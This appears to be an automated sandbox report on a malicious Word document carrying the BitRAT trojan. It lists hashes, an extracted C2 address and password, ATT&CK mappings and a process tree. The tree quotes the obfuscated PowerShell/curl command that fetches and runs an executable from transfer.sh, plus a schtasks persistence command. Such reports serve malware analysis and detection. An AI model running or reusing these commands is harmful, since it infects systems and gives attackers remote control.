bitrat | 17cfb90deb531e2068d99e671423d8d1bcf8f06a0e2666f0108ca8e8b706dd1b

General

Target

Documento_Orslgroup_S.R.L_09_2023.doc
Size

191KB
MD5

68297123bc1ddbbd9336aa121a9dd534
SHA1

2d8016319edb893e0ae600ba8c89f00a30466967
SHA256

17cfb90deb531e2068d99e671423d8d1bcf8f06a0e2666f0108ca8e8b706dd1b
SHA512

29e3e9e7e8a1b5c9fd54d97379e7f73cc2ee8174b950d7bf1b44f6f129893d6dec64c8ddb63f071184ea93bc88f1e5b7d0e1f99304c4af54f42af9042f6d092b
SSDEEP

3072:SbiyWTxSoVHpNY6nemhInf/va46YP6z+dzL:miyWTwoVHp6m0/yl6H9L

Score

10^/10

bitrat trojan

Malware Config

Extracted

Family

bitrat

Version

1.38

C2

185.225.75.68:3569

Attributes

communication_password
0edcbe7d888380c49e7d1dcf67b6ea6e
tor_process
tor

Signatures

BitRAT
BitRAT is a remote access tool written in C++ and uses leaked source code from other families.
trojan bitrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2156	792	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

35 4224 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

dx5ys.exedx5ys.exepint.exe

pid process

3544 dx5ys.exe
2344 dx5ys.exe
3356 pint.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

dx5ys.exe

description pid process target process

PID 3544 set thread context of 2344 3544 dx5ys.exe dx5ys.exe

flow	pid	process
35	4224	powershell.exe

pid	process
3544	dx5ys.exe
2344	dx5ys.exe
3356	pint.exe

description	pid	process	target process
PID 3544 set thread context of 2344	3544	dx5ys.exe	dx5ys.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

408 schtasks.exe

pid	process
408	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

792 WINWORD.EXE
792 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4224 powershell.exe
4224 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4224 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

792 WINWORD.EXE
792 WINWORD.EXE
792 WINWORD.EXE
792 WINWORD.EXE
792 WINWORD.EXE
792 WINWORD.EXE
792 WINWORD.EXE

pid	process
792	WINWORD.EXE
792	WINWORD.EXE

pid	process
4224	powershell.exe
4224	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4224	powershell.exe

pid	process
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

WINWORD.EXEcmd.exepowershell.exedx5ys.execmd.exe

description	pid	process	target process
PID 792 wrote to memory of 2156	792	WINWORD.EXE	cmd.exe
PID 792 wrote to memory of 2156	792	WINWORD.EXE	cmd.exe
PID 2156 wrote to memory of 4224	2156	cmd.exe	powershell.exe
PID 2156 wrote to memory of 4224	2156	cmd.exe	powershell.exe
PID 4224 wrote to memory of 3544	4224	powershell.exe	dx5ys.exe
PID 4224 wrote to memory of 3544	4224	powershell.exe	dx5ys.exe
PID 4224 wrote to memory of 3544	4224	powershell.exe	dx5ys.exe
PID 3544 wrote to memory of 2344	3544	dx5ys.exe	dx5ys.exe
PID 3544 wrote to memory of 2344	3544	dx5ys.exe	dx5ys.exe
PID 3544 wrote to memory of 2344	3544	dx5ys.exe	dx5ys.exe
PID 3544 wrote to memory of 2344	3544	dx5ys.exe	dx5ys.exe
PID 3544 wrote to memory of 2344	3544	dx5ys.exe	dx5ys.exe
PID 3544 wrote to memory of 2344	3544	dx5ys.exe	dx5ys.exe
PID 3544 wrote to memory of 2344	3544	dx5ys.exe	dx5ys.exe
PID 3544 wrote to memory of 2344	3544	dx5ys.exe	dx5ys.exe
PID 3544 wrote to memory of 2344	3544	dx5ys.exe	dx5ys.exe
PID 3544 wrote to memory of 2344	3544	dx5ys.exe	dx5ys.exe
PID 3544 wrote to memory of 2344	3544	dx5ys.exe	dx5ys.exe
PID 3544 wrote to memory of 1224	3544	dx5ys.exe	cmd.exe
PID 3544 wrote to memory of 1224	3544	dx5ys.exe	cmd.exe
PID 3544 wrote to memory of 1224	3544	dx5ys.exe	cmd.exe
PID 3544 wrote to memory of 2476	3544	dx5ys.exe	cmd.exe
PID 3544 wrote to memory of 2476	3544	dx5ys.exe	cmd.exe
PID 3544 wrote to memory of 2476	3544	dx5ys.exe	cmd.exe
PID 3544 wrote to memory of 1692	3544	dx5ys.exe	cmd.exe
PID 3544 wrote to memory of 1692	3544	dx5ys.exe	cmd.exe
PID 3544 wrote to memory of 1692	3544	dx5ys.exe	cmd.exe
PID 2476 wrote to memory of 408	2476	cmd.exe	schtasks.exe
PID 2476 wrote to memory of 408	2476	cmd.exe	schtasks.exe
PID 2476 wrote to memory of 408	2476	cmd.exe	schtasks.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Documento_Orslgroup_S.R.L_09_2023.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:792

C:\Windows\SYSTEM32\cmd.exe
cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://transfer.sh/get/gj04sqKk7O/boat.e^xe -o C:\Users\Public\dx5ys.exe;C:\Users\Public\dx5ys.exe
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2156

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell /W 01 curl https://transfer.sh/get/gj04sqKk7O/boat.exe -o C:\Users\Public\dx5ys.exe;C:\Users\Public\dx5ys.exe
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4224

C:\Users\Public\dx5ys.exe
"C:\Users\Public\dx5ys.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3544

C:\Users\Public\dx5ys.exe
"C:\Users\Public\dx5ys.exe"
5⤵
- Executes dropped EXE
PID:2344

C:\Windows\SysWOW64\cmd.exe
"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\pint"
5⤵
PID:1224

C:\Windows\SysWOW64\cmd.exe
"cmd" /c copy "C:\Users\Public\dx5ys.exe" "C:\Users\Admin\AppData\Roaming\pint\pint.exe"
5⤵
PID:1692

C:\Windows\SysWOW64\cmd.exe
"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f
5⤵
- Suspicious use of WriteProcessMemory
PID:2476

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f
6⤵
- Creates scheduled task(s)
PID:408

C:\Users\Admin\AppData\Roaming\pint\pint.exe
C:\Users\Admin\AppData\Roaming\pint\pint.exe
1⤵
- Executes dropped EXE
PID:3356

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_djsfxfnf.ahk.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\pint\pint.exe
Filesize
3.8MB

MD5
6d4c3a4ff3637ec34f820172f897d476

SHA1
d53fe8f0ecb0536088ec9be5247ab6627baf31cb

SHA256
c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

SHA512
1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

Download Submit
C:\Users\Admin\AppData\Roaming\pint\pint.exe
Filesize
960KB

MD5
abe58006ba059f749c91a1cce690207e

SHA1
378c8ee12d977f0b359af0700c007def9974fe0d

SHA256
3e1de8d47262fd1aa8aeb25e366e6212bcd7cf55a59aa8369849ab8ebc7103c7

SHA512
b1274373cacc856a634586f3dd734b51b609c306037bb4822699413cd32cfa10e57d42b9960955cdc91ee0eda5a940247f9f1ce4c03c3073f90b3717b28ace9b

Download Submit
C:\Users\Admin\AppData\Roaming\pint\pint.exe
Filesize
1024KB

MD5
154520480b1547aabe5eb883ba684011

SHA1
a95a4a951ac13abcdb09a2859169d35cd15b6e54

SHA256
50020a1f7e48ac867c761f719249746fbc83119f6871f0deaf52f80d86b5d083

SHA512
1ff2ff24a7d0e4a60b67e08f58c3349ce8b08c0b571d3b1eeb7feacea429ce0d06c0df4615841048cc84a7cfa38ab065443903af5c2c996b378832b4df918520

Download Submit
C:\Users\Public\dx5ys.exe
Filesize
3.8MB

MD5
6d4c3a4ff3637ec34f820172f897d476

SHA1
d53fe8f0ecb0536088ec9be5247ab6627baf31cb

SHA256
c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

SHA512
1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

Download Submit
C:\Users\Public\dx5ys.exe
Filesize
3.8MB

MD5
6d4c3a4ff3637ec34f820172f897d476

SHA1
d53fe8f0ecb0536088ec9be5247ab6627baf31cb

SHA256
c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

SHA512
1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

Download Submit
C:\Users\Public\dx5ys.exe
Filesize
3.8MB

MD5
6d4c3a4ff3637ec34f820172f897d476

SHA1
d53fe8f0ecb0536088ec9be5247ab6627baf31cb

SHA256
c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

SHA512
1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

Download Submit
memory/792-33-0x00000171247B0000-0x0000017125780000-memory.dmp

Filesize
15.8MB

Download
memory/792-0-0x00007FFE6BAD0000-0x00007FFE6BAE0000-memory.dmp

Filesize
64KB

Download
memory/792-9-0x00007FFEABA50000-0x00007FFEABC45000-memory.dmp

Filesize
2.0MB

Download
memory/792-10-0x00007FFEABA50000-0x00007FFEABC45000-memory.dmp

Filesize
2.0MB

Download
memory/792-11-0x00007FFEABA50000-0x00007FFEABC45000-memory.dmp

Filesize
2.0MB

Download
memory/792-12-0x00007FFEABA50000-0x00007FFEABC45000-memory.dmp

Filesize
2.0MB

Download
memory/792-13-0x00007FFEABA50000-0x00007FFEABC45000-memory.dmp

Filesize
2.0MB

Download
memory/792-14-0x00007FFEABA50000-0x00007FFEABC45000-memory.dmp

Filesize
2.0MB

Download
memory/792-16-0x00007FFEABA50000-0x00007FFEABC45000-memory.dmp

Filesize
2.0MB

Download
memory/792-15-0x00007FFE69440000-0x00007FFE69450000-memory.dmp

Filesize
64KB

Download
memory/792-17-0x00007FFEABA50000-0x00007FFEABC45000-memory.dmp

Filesize
2.0MB

Download
memory/792-18-0x00007FFEABA50000-0x00007FFEABC45000-memory.dmp

Filesize
2.0MB

Download
memory/792-19-0x00007FFEABA50000-0x00007FFEABC45000-memory.dmp

Filesize
2.0MB

Download
memory/792-20-0x00007FFEABA50000-0x00007FFEABC45000-memory.dmp

Filesize
2.0MB

Download
memory/792-21-0x00007FFE69440000-0x00007FFE69450000-memory.dmp

Filesize
64KB

Download
memory/792-31-0x00000171247B0000-0x0000017125780000-memory.dmp

Filesize
15.8MB

Download
memory/792-32-0x00000171247B0000-0x0000017125780000-memory.dmp

Filesize
15.8MB

Download
memory/792-7-0x00007FFEABA50000-0x00007FFEABC45000-memory.dmp

Filesize
2.0MB

Download
memory/792-1-0x00007FFEABA50000-0x00007FFEABC45000-memory.dmp

Filesize
2.0MB

Download
memory/792-6-0x00007FFE6BAD0000-0x00007FFE6BAE0000-memory.dmp

Filesize
64KB

Download
memory/792-5-0x00007FFEABA50000-0x00007FFEABC45000-memory.dmp

Filesize
2.0MB

Download
memory/792-8-0x00007FFE6BAD0000-0x00007FFE6BAE0000-memory.dmp

Filesize
64KB

Download
memory/792-3-0x00007FFE6BAD0000-0x00007FFE6BAE0000-memory.dmp

Filesize
64KB

Download
memory/792-4-0x00007FFE6BAD0000-0x00007FFE6BAE0000-memory.dmp

Filesize
64KB

Download
memory/792-48-0x00007FFEABA50000-0x00007FFEABC45000-memory.dmp

Filesize
2.0MB

Download
memory/792-49-0x00007FFEABA50000-0x00007FFEABC45000-memory.dmp

Filesize
2.0MB

Download
memory/792-51-0x00007FFEABA50000-0x00007FFEABC45000-memory.dmp

Filesize
2.0MB

Download
memory/792-52-0x00000171247B0000-0x0000017125780000-memory.dmp

Filesize
15.8MB

Download
memory/792-53-0x00000171247B0000-0x0000017125780000-memory.dmp

Filesize
15.8MB

Download
memory/792-59-0x00000171247B0000-0x0000017125780000-memory.dmp

Filesize
15.8MB

Download
memory/792-2-0x00007FFEABA50000-0x00007FFEABC45000-memory.dmp

Filesize
2.0MB

Download
memory/2344-78-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/2344-81-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/2344-79-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/2344-76-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/3356-87-0x0000000074A20000-0x00000000751D0000-memory.dmp

Filesize
7.7MB

Download
memory/3544-82-0x0000000074A20000-0x00000000751D0000-memory.dmp

Filesize
7.7MB

Download
memory/3544-73-0x0000000074A20000-0x00000000751D0000-memory.dmp

Filesize
7.7MB

Download
memory/3544-71-0x0000000000C10000-0x0000000000FE8000-memory.dmp

Filesize
3.8MB

Download
memory/3544-74-0x0000000005F90000-0x0000000006534000-memory.dmp

Filesize
5.6MB

Download
memory/3544-75-0x00000000059D0000-0x00000000059E0000-memory.dmp

Filesize
64KB

Download
memory/4224-39-0x000001F146DA0000-0x000001F146DC2000-memory.dmp

Filesize
136KB

Download
memory/4224-72-0x00007FFE7E210000-0x00007FFE7ECD1000-memory.dmp

Filesize
10.8MB

Download
memory/4224-70-0x000001F146DD0000-0x000001F146DE0000-memory.dmp

Filesize
64KB

Download
memory/4224-61-0x000001F146DD0000-0x000001F146DE0000-memory.dmp

Filesize
64KB

Download
memory/4224-60-0x00007FFE7E210000-0x00007FFE7ECD1000-memory.dmp

Filesize
10.8MB

Download
memory/4224-47-0x000001F146DD0000-0x000001F146DE0000-memory.dmp

Filesize
64KB

Download
memory/4224-46-0x000001F146DD0000-0x000001F146DE0000-memory.dmp

Filesize
64KB

Download
memory/4224-41-0x000001F146DD0000-0x000001F146DE0000-memory.dmp

Filesize
64KB

Download
memory/4224-40-0x00007FFE7E210000-0x00007FFE7ECD1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads